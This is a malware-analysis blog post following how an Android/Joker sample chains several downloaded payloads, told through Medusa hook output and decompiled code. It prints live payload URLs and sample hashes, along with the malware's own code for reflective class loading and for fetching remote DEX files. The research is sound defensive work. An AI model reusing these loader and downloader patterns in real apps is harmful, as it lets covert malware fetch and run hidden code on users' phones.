

Tracking Android/Joker payloads with Medusa, static analysis (and patience)

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@cryptax

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I am looking into a new sample of Android/Joker, reported on June 19, 2022 by [@ReBensk](#):

```
afeb6efad25ed7bf1bc183c19ab5b59ccf799d46e620a5d1257d32669bedff6f
```

Android/Joker is known for using many payloads: a first payload loads another payload, which loads another one etc. Matryoshka dolls-style 😊. See an analysis of [a previous Joker sample](#). This sample uses many payloads too, but the implementation to load the payloads is a bit different. I'll detail.

Medusa

I recently discovered [Medusa](#) and like it very much... for dynamic analysis (I still prefer static analysis, everybody knows that by now?). Medusa is easy to use and **comes with a collection of ready-to-use hooks**. Launch an Android emulator, a Frida server, install the sample, then launch Medusa `python3 medusa.py`.

Select the hooks you want to use (search through hooks with the `search` command, then `use` to use a given hook, finally `compile` the list of hooks). Those are the hooks you need ([I recently contributed](#) to the last two hooks):

```
use http_communications/uri_loggeruse encryption/cipher_1use  
code_loading/dump_dyndexuse code_loading/load_class
```

Finally, start the malware (`run -f package_name`, or `run -n 0` if you have a single sample installed on your emulator).

```
-----
[+] URL:https://look4.oss-ap-southeast-5.aliyuncs.com/nunber
-----
[+] URL:https://look4.oss-ap-southeast-5.aliyuncs.com/
-----
[+] URL:https://xjuys.oss-accelerate.aliyuncs.com/xjuys
-----
[+] URL:https://xjuys.oss-accelerate.aliyuncs.com/
-----
```

I use URI hooks (http_communications/uri_logger) in Medusa and see the malware calls those URLs. Android/Joker is known to use URLs such as xxx[.]aliyuncs.com. As Android/Joker samples usually don't make things simple for malware analysts, I somewhat expected those URLs to be encrypted. **Medusa has decryption hooks too.**

```
-----Encryption/Decryption monitoring by Nishant Das Patnaik-----
LoadClass: com.designemoji.keyboard.SplashActivity
Cipher.getInstance: PBEWithMD5AndDES
-----Mode: DECRYPT-----
Key: non-SecretKeySpec: [object Object], encoded: [110,117,102,102], object: "<instance: java.security.Key, $className: com.android.org.bouncycastle.jcajce.provider.symmetric.util.BCPBEKey>"
undefined
Input Data: [-73,28,101,-96,-36,-47,-120,37,6,2,82,-62,69,87,-87,2,-13,-56,56,89,-88,-31,53,106,-106,-71,-11,16,-90,-48,-91,-12,114,84,-56,-99,-96,28,3,-12,84,-86,-112,81,-84,23,62,-12,-92,-91,-35,-66,41,-26,-80,95,-94,0,-105,-91,86,95,-66,-73]
Cipher.getAlgorithm: PBEWithMD5AndDES
Cipher.getIV: [62,-46,-79,-32,-68,-73,93,-43]
Cipher.getBlockSize: 8
Cipher.doFinal retVal: [104,116,116,112,115,58,47,47,108,111,111,107,52,46,111,115,115,45,97,112,45,115,111,117,116,104,101,97,115,116,45,53,46,97,108,105,121,117,110,99,115,46,99,111,109,47,100,101,115,105,103,110,101,109,111,106,105]
[+] PARSING TO STRING: https://look4.oss-ap-southeast-5.aliyuncs.com/designemoji
m
DexClassLoader called: /data/user/0/com.designemoji.keyboard/files/audience_network.dex
[+] Dumped /data/user/0/com.designemoji.keyboard/files/audience_network.dex to dump_1
LoadClass: com.designemoji.keyboard.EnableActivity
LoadClass: com.facebook.ads.internal.dynamicloading.DynamicLoaderImpl
```

Bingo! The look4.oss-ap[.]aliyuncs.com URL is encrypted. The decryption hooks, encryption/cipher_1, with shows the decrypted value.

My dynamic DEX dumper + the convenient `loadClass` hooks show several files are dynamically loaded:

```
DexClassLoader called:
/data/user/0/com.designemoji.keyboard/files/audience_network.dex[+] Dumped
/data/user/0/com.designemoji.keyboard/files/audience_network.dex to dump_1loadClass:
com.designemoji.keyboard.EnableActivityloadClass:
com.facebook.ads.internal.dynamicloading.DynamicLoaderImpl...PathClassLoader(f,p)
called: /data/user/0/com.designemoji.keyboard/cache/nuff[+] Dumped
/data/user/0/com.designemoji.keyboard/cache/nuff to dump_2loadClass:
seek...DexClassLoader called: /data/user/0/com.designemoji.keyboard/files/seek[+]
Dumped /data/user/0/com.designemoji.keyboard/files/seek to dump_3DexClassLoader
called: /data/user/0/com.designemoji.keyboard/files/Yang[+] Dumped
/data/user/0/com.designemoji.keyboard/files/Yang to dump_4loadClass:
com.xjuysloadClass: com.android.installreferrer.api.InstallReferrerClient
```

The first DEX (`audience_network.dex`) belongs to Facebook. I am not after this. **The 3 other DEXes** (`nuff` , `seek` and `Yang`) **are far more promising**. Note they are loaded by `PathClassLoader` for `nuff` , and `DexClassLoader` for the other 2.

Loading nuff (payload 1)

`DroidLysis` doesn't detect any use of `DexClassLoader` , `PathClassLoader` or `InMemoryDexClassLoader` . So, how is the first payload loaded? Let's locate the URL (look4[...].jaliyuncs.com). It is encrypted, so I search where encrypted is used in `DroidLysis`' detailed report.

```
## Cipher- file=./emojikeyboard.apk-
afeb6efad25ed7bf1bc183c19ab5b59ccf799d46e620a5d1257d32669bedff6f/smali/f/a/a/a.smali
no= 25 line=b'.method private b()Ljava/crypto/Cipher;\n'- file=./emojikeyboard.apk-
afeb6efad25ed7bf1bc183c19ab5b59ccf799d46e620a5d1257d32669bedff6f/smali/f/a/a/a.smali
no= 63 line=b'    invoke-static {v0, v1}, Ljava/crypto/Cipher;-
>getInstance(Ljava/lang/String;Ljava/lang/String;)Ljava/crypto/Cipher;\n'
```

Fortunately, there are not many different locations, and I directly head to the good one: `f.a.a.a` . Encrypted strings are decrypted using `PBEWithMD5AndDES` . I write a static decryptor.

Decrypted=Decrypted=getClassLoaderDecrypted=loadClassDecrypted=seekDecrypted=melody

The URL gets a JAR, stores it in a cache directory of the application, and then loads it via ... `getClassLoader` ! That's why `DroidLysis` didn't see it! (to be fixed).

```
@Override // f.b.a.a.e.a.e
public void load_invoke_jar(u arg10) {
    try {
        f.c.a.a.c v0 = f.c.a.a.c.a(this.ctx.getClass());
        v0.addToList(new String[]{this.decryptalgo.decryptPBE_Base64("XDpCJSIAb0iSvwxnJKLvg==", this.keydata, this.base64_salt)}); // getClassLoader
        v0.a(new Class[0]);
        Object class_loader = v0.getFirstMethod().invoke(this.ctx); // invoke ctx.getClassLoader()
        String v10_1 = arg10.c();
        Class clz = class_loader.getClass();
        ConstructorList_b_clist = ConstructorList_b.makeConstructorsList(clz);
        clist.a(new String[]{clz.getName()});
        clist.a(true);
        Object v0_2 = clist.getFirstConstructor().newInstance(v10_1, class_loader); // new v10_1 classLoader
        Class v10_2 = v10_1.getClass();
        f.c.a.a.c v2_1 = f.c.a.a.c.a(clz);
        v2_1.a(true);
        v2_1.a(new Class[]{v10_2});
        v2_1.b(v10_2.getClass());
        v2_1.addToList(new String[]{this.decryptalgo.decryptPBE_Base64("PLwnie6KHT1I2RAniSACNg==", this.keydata, this.base64_salt)}); // loadClass
        f.c.a.a.c v0_3 = f.c.a.a.c.a(((Class)v2_1.getFirstMethod().invoke(v0_2, this.decryptalgo.decryptPBE_Base64("/dv+M33CuEo=", this.keydata, this.base64_salt))));
        v0_3.addToList(new String[]{this.decryptalgo.decryptPBE_Base64("ID8uwEsQqUY=", this.keydata, this.base64_salt)}); // melody
        v0_3.b(v10_2.getSuperclass());
        v0_3.getFirstMethod().invoke(null, this.ctx); // invoke melody(ctx)
    }
    catch (Exception v10) {
        v10.printStackTrace();
    }
}
```

Code loading the JAR with `getClassLoader`, then invokes a method named `melody()`

Static analysis of nuff (payload 1)

The JAR contains a `classes.dex` with a single class named `seek` , and a method named `melody`. It is simple to understand:

1. It downloads DEX file from

2. It stores that DEX in the application's file directory, with filename `seek`
3. It loads the DEX using `DexClassLoader`
4. It invokes `cantus.bustle()` in that DEX

```

public static Object melody(Context context) {
    Log.e("seek", "melody");
    new Thread(new Runnable() {
        @Override
        public void run() {
            try {
                seek.startSDK(Context.this.getApplicationContext(), "https://look4.oss-ap-southeast-5.aliyuncs.com/number");
            }
            catch (Exception e) {
                e.printStackTrace();
            }
        }
    }).start();
    return null;
}

private static void start(Context context) throws Exception {
    Class.forName("cantus").getMethod("bustle", Context.class).invoke(null, context);
}

private static void startSDK(Context context, String sdkPath) throws Exception {
    HttpURLConnection conn = null;
    FileOutputStream baos = null;
    File dxFile = new File(context.getFilesDir(), "seek");
    File dxoptFile = new File(context.getFilesDir(), "melody");
    if(!dxoptFile.exists()) {
        dxoptFile.mkdirs();
    }
}

```

Code of payload 1. Download URL for payload 2 — we also see that class `cantus`, method `bustle` is called.

Static analysis of payload 2

Just guess what `cantus.bustle()` does? It downloads yet another DEX from [https://xjuys.oss-accelerate\[.\]aliyuncs.com/xjuys](https://xjuys.oss-accelerate[.]aliyuncs.com/xjuys) !

```

public static void bustle(Context context) {
    new Thread(new Runnable() {
        @Override
        public void run() {
            try {
                cantus.startSDK(Context.this, "https://xjuys.oss-accelerate.aliyuncs.com/xjuys");
            }
            catch (Exception e) {
                e.printStackTrace();
            }
        }
    }).start();
}

```

Payload 2 is loading ... Payload 3

This time, the payload will be stored in a file named `Yang` , and it will search for class `com.xjuys` and method `xjuys` .

Static analysis of payload 3

This `com.xjuys` JAR had been already used in several other samples of Joker (sha256: `2edaf2a2d8fd09a254ea41afa4d32b145dcec1ab431a127b2462b5ea58e2903d`).

It loads dynamically 2 other ZIPs:

1. We have already seen this payload. It is the same as and contains facebook hooks.
2. . It stores the file in the app's file directory, with filename `KBNViao` . Then, it loads `com.appsflyer.AppsFlyerLib` and methods `init()` then `startTracking()` [love the name of the method, don't we? 😊]. This is , a mobile analytics library.

```
v1_1 = new File(arg2.getFilesDir(), "KBNViao");
v3_1 = new File(arg2.getFilesDir(), "IGSBDF0");
if(!v3_1.exists()) {
    v3_1.mkdirs();
}

if(!v1_1.exists() || v1_1.length() <= 0L) {
    HttpURLConnection v0_1 = (HttpURLConnection)new URL("https://beside.oss-eu-west-1.aliyuncs.com/af2").openConnection();
    v0_1.connect();
    if(v0_1.getResponseCode() == 200) {
        InputStream v0_2 = v0_1.getInputStream();
        FileOutputStream v4 = new FileOutputStream(v1_1);
        byte[] v5 = new byte[0x400];
        while(true) {
            int v7 = v0_2.read(v5);
            if(-1 == v7) {
                break;
            }
            v4.write(v5, 0, v7);
        }
        v4.flush();
    }
}
```

Connect to remote URL and download payload 4.

Summary

The initial DEX is quite heavily obfuscated

- Payload 1 (`designmoji` / `nuff`) has no other use than loading Payload 2
- Payload 2 (`number` / `seek`) enables notification listeners (we haven't detailed this in this article) and loads Payload 3
- Payload 3 (`xjuys` / `Yang`) has yet more malicious code (not detailed here) and loads 2 additional DEX: one for Facebook, the other one contains Apps Flyer SDK.
- Payload 4a and 4b: Facebook hooks + Apps Flyer SDK.



